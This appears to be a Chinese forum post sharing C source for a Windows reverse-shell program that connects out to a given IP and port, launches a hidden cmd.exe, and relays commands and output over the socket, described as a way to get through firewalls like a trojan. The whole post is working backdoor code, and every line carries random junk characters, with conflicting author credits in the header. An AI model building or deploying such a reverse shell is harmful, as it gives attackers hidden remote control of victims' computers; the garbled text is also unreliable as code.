这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 My,ki:V?g6
z"=#<C
/* ============================== ?`,Xb.NA$K
Rebound port in Windows NT #N[nvIi}
By wind,2006/7 ZK{VQ~
===============================*/ ;W'y^jp]"
#include B~jl1g|
#include E`u=$~K
a}hpcr({?
#pragma comment(lib,"wsock32.lib") J+Q
;'J
2/E3~X7
void OutputShell(); 5?kF'yksR
SOCKET sClient; @Zjy"u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UccnQZ7/I
q 1Rk'k4+
void main(int argc,char **argv) ]wER&/v"
{ 8QXxRD;0:
WSADATA stWsaData; UfOF's_'<
int nRet; B9>3xxp(by
SOCKADDR_IN stSaiClient,stSaiServer; z )a8
^]`
]y2(ZTNTs
if(argc != 3) R1 hb-
{ 7t0\}e
printf("Useage:\n\rRebound DestIP DestPort\n"); R1{"
return; sn}U4=u
} #'v7mEwt
j42U|CuK
WSAStartup(MAKEWORD(2,2),&stWsaData); /V$[M
UStZ3A'
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PfF7*}P
UyEyk$6SU
stSaiClient.sin_family = AF_INET; N6Vn/7I5%
stSaiClient.sin_port = htons(0); 6AUXYbK,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XB50>??NE
iVFHr<zk
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) df&d+jY
{ :G9.}VrU
printf("Bind Socket Failed!\n"); )o
SFHf
return; 6}K|eUak/
} WG1UvPK
cCw?%qq,L
stSaiServer.sin_family = AF_INET; YaFQy0t%/5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s@jzu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Fwm{oypg%
[8^jwnAYS
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NMJ230?
{ j_o6+Rk
printf("Connect Error!"); 0^?3hK
return; '<^%>R2
} \T/~"
w
OutputShell(); 9V0iV5?( P
} >C*q
0>)('Kv
void OutputShell() Y6?d
y\
{ <fJoHS
char szBuff[1024]; 6HCP1`gg
SECURITY_ATTRIBUTES stSecurityAttributes; q\x*@KQgM
OSVERSIONINFO stOsversionInfo; "qu%$L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; : N> 5{
STARTUPINFO stStartupInfo; V+nqQ~pJ&
char *szShell; dScit!T"
PROCESS_INFORMATION stProcessInformation; Io|NL6[
unsigned long lBytesRead; B=(m;A#G
lw\OsB$
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;E,%\<
H/|Mq#K
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ${8 1~
stSecurityAttributes.lpSecurityDescriptor = 0; QDzFl1\P
stSecurityAttributes.bInheritHandle = TRUE; $f7#p4;}(
w5bD
TlYeYN5V
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y@c!\0e$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DQ?'f@I&*
%+:%%r=Q
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |0vY'A)]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x&8HBF'
stStartupInfo.wShowWindow = SW_HIDE; S=U*is
stStartupInfo.hStdInput = hReadPipe; jI_TN5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d?$FAy'o5
_Su?
VxU
GetVersionEx(&stOsversionInfo); `jSxq66L p
`9(TqcE
switch(stOsversionInfo.dwPlatformId) B+ud-M0
{ $-|`#|CBd
case 1: VuN=
JX
szShell = "command.com"; yxf|Njo0
break; ^*C8BzcH
default: exiCy1[+
szShell = "cmd.exe"; ' &^:@V
break; od"Oq?~/t
} /VgA}[%y
a-MDZT<xA+
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l`:M/z6"
"]f0wLzh
send(sClient,szMsg,77,0); l5b?
'L
while(1) iN %kF'&9
{ ~gNa<tg"1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @{+c6.*}
if(lBytesRead) ULIbVy7Y
{ 6wYd)MDLL
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4N[8LC;MH
send(sClient,szBuff,lBytesRead,0); q~^Jd=cB\
} bJ*jJl x
else GPy+\P`
{ nbj &3z,
lBytesRead=recv(sClient,szBuff,1024,0); \S{ise/U
if(lBytesRead<=0) break; C_rlbl;T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T$U,rOB"
} 5}x^0
LY
} wN-3@
R*`A',]:9
return; i(Cd#1<
}